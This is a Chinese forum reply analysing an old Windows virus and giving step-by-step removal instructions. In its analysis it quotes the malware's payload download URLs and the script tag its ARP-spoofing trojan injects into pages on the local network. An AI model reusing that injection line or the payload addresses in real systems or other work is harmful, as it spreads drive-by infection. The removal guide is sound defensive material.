借用一下cz8765083的回答，很全面：
修复，不过很复杂的 ，比重装个系统麻烦多了
最近发现很多人出现了打不开shadu软件 反病 毒工具 甚至带有病 毒字样的窗口 今天就接到了这样的一个样本 先前
这是一个可以说结合了几乎所有病 毒的特征的病毒 除了感染文件之外 可以说是比熊猫有过之而无不及！
病毒特征：
1.破坏安全模式
2.结束常见杀毒软件以及反病毒工具进程
3.监控窗口
4.关闭自动更新以及Windows安全中心
5.屏蔽显示隐藏文件
6.下载木马
7.IFEO映像劫持
8.GHOST文件引导破坏
9.各盘符均有引导启动关联文件，即便你重装系统盘也照样发作

病毒运行后
在C:\Program Files\Common Files\Microsoft Shared\MSInfo\下面释放一个同样由8个数字和字母组成的组合的文件名的dll 和一个同名的dat 文件
我这里是C:\Program Files\Common Files\Microsoft Shared\MSInfo\41115BDD.dll
这个随机的数字应该与机器码有关
该dll插入Explorer进程 Timplatform以及ctfmon进程
删除C:\WINDOWS\system32\verclsid.exe
将其重命名为verclsid.exe.bak
释放41115BDD.exe（随机8位）和autorun.inf到除系统分区外的其他分区

被劫持到C:\Program Files\Common Files\Microsoft Shared\MSInfo\下面的那个dat文件
下载dl1.exe到临时文件夹
首先下载
http://google.xxxx38.org/update/down.txt看病毒是否需要更新
然后分别下载
http://google.xxxx38.org/update/wow.exe http://google.xxxx38.org/update/mh.exe http://google.xxxx38.org/update/wm.exe http://google.xxxx38.org/update/my.exe http://google.xxxx38.org/update/wl.exe http://google.xxxx38.org/update/zt.exe http://google.xxxx38.org/update/jh.exe http://google.xxxx38.org/update/tl.exe http://google.xxxx38.org/update/1.exe http://google.xxxx38.org/update/2.exe 到program files 文件夹 并把他们命名为ycnt1.exe~ycnt10.exe
具体每个文件的生成物就不一一列举了
不过值得一提的是ycnt9.exe这个木马
他生成C:\WINDOWS\system32\win1ogo.exe
并且该木马试图向局域网内所有用户的80端口每隔5000ms进行arp欺骗
插入<script language=javascript src=
http://google.171738.org/ad2.js></script>代码
也就是局域网内所有用户在打开网页时都会被插入这段代码
所有木马文件植入完毕后 生成物如下
C:\WINDOWS\system32\drivers\npf.sys
C:\WINDOWS\system32\Kvsc3.dll
C:\WINDOWS\system32\msdebug.dll
C:\WINDOWS\system32\nwiztlbu.exe
C:\WINDOWS\system32\Packet.dll
C:\WINDOWS\system32\RemoteDbg.dll
C:\WINDOWS\system32\testdll.dll
C:\WINDOWS\system32\WanPacket.dll
C:\WINDOWS\system32\win1ogo.exe
C:\WINDOWS\system32\windds32.dll
C:\WINDOWS\system32\winpcap.exe
C:\WINDOWS\system32\wpcap.dll
C:\WINDOWS\system32\xpdhcp.dll
C:\WINDOWS\Kvsc3.exe
C:\WINDOWS\testexe.exe
C:\Program Files\Common Files\cssrs.exe
sreng日志反映如下（在处理一些东西后扫描的这里提前列出）
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

[PID: 1400][C:\WINDOWS\Explorer.EXE] [Microsoft Corporation, 6.00.2900.2180 (xpsp_sp2_rtm.040803-
2158)]
[C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\testdll.dll] [N/A, ]
[C:\WINDOWS\system32\Kvsc3.dll] [N/A, ]
解决办法如下：
1.确定那个8位随机数的dll的名称
这里我们选用winrar确定那个dll的名称
方法是：打开winrar.exe
工具 查看
在上面的地址栏中 进入c:\program files\common files\microsoft shared\msinfo目录
我这台被感染的电脑的文件名为41115bdd.dll
2.使用强制删除工具删除那个dll文件
这里我们选用Xdelbox1.2这个软件
XDelBox1.2（Dos级别灭杀工具）：
1、dos级文件删除方式，打造病毒清除新模式
2、无须进入安全模式，即可删除所有病毒文件
3、支持一次重启批量删除多个文件
4、复制路径的删除添加方式更适用于网络求助(支持拖曳)
注意：删除时复制所有要删除文件的路径，在待删除文件列表里点击右键选择从剪贴板导入。导入后在要删除文件上点击右键，选择立刻重启删除，电脑会重启进入DOS界面进行删除操作，删除完成后会自动重启进入你安装的操作系统。操作前注意保存电脑中正在打开的文档。有关XDelBox的详细说明请看xdelbox1.2目录下help.chm
重起机器后
3.恢复被映像劫持的软件
这里我们使用autoruns这个软件 由于这个软件也被映像劫持了 所以我们随便把他改个名字
打开这个软件后 找到Image hijack (映像劫持）
删除除了Your Image File Name Here without a pathSymbolic Debugger for Windows 2000Microsoft Corporationc:\windows\system32\ntsd.exe
以外的所有项目
4.此时我们就可以打开sreng了 呵呵
打开sreng
系统修复 高级修复 点击修复安全模式 在弹出的对话框中点击是
5.恢复显示隐藏文件
把下面的 代码拷入记事本中然后另存为1.reg文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
]
"RegPath"="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"
"Text"="@shell32.dll,-30500"
"Type"="radio"
"CheckedValue"=dword:00000001
"ValueName"="Hidden"
"DefaultValue"=dword:00000002
"HKeyRoot"=dword:80000001
"HelpID"="shell.hlp#51105"
双击1.reg把这个注册表项导入
好了 此时病毒对于我们的所有限制已经解除了
6.清除其下载的木马了
重起机器 进入安全模式
双击我的电脑，工具，文件夹选项，查看，单击选取"显示隐藏文件或文件夹"
清除"隐藏受保护的操作系统文件
用WINRAR打开 然后查看以下路径，将发现的名字都删（里面是病毒下载下来的木马）
C:\Documents and Settings\Administrator\Local Settings\Temp\testexe.exe
C:\Documents and Settings\Administrator\Local Settings\Temp\testexe.dll
C:\Documents and Settings\Administrator\Local Settings\Temp\dl1.exe
C:\Program Files\Common Files\Microsoft Shared\MSInfo\41115BDD.dat（随机8位数字字母组合）
C:\WINDOWS\Kvsc3.exe
C:\WINDOWS\testexe.exe
C:\WINDOWS\Help\41115BDD.chm（随机8位数字字母组合）
C:\WINDOWS\system32\DirectX\DirectX.ini
C:\WINDOWS\system32\drivers\npf.sys
C:\WINDOWS\system32\Kvsc3.dll
C:\WINDOWS\system32\msdebug.dll
C:\WINDOWS\system32\nwiztlbu.exe
C:\WINDOWS\system32\Packet.dll
C:\WINDOWS\system32\RemoteDbg.dll
C:\WINDOWS\system32\testdll.dll
C:\WINDOWS\system32\WanPacket.dll
C:\WINDOWS\system32\win1ogo.exe
C:\WINDOWS\system32\windds32.dll
C:\WINDOWS\system32\winpcap.exe
C:\WINDOWS\system32\wpcap.dll
C:\WINDOWS\system32\xpdhcp.dll
C:\WINDOWS\41115BDD.hlp（随机8位数字字母组合）
C:\WINDOWS\Kvsc3.exe
C:\WINDOWS\testexe.exe
C:\Program Files\Common Files\cssrs.exe
C:\Program files\ycnt1.exe~ycnt10.exe(如果有的话）
最后别忘了
7.还是用winrar 删除各个分区下面的autorun.inf和 41115BDD.exe（随机8位数字字母组合）
一定不要双击 最好的方法是用winrar看
8.装杀毒软件 保护好你的电脑
到此为止，病毒已经完全清除。。。
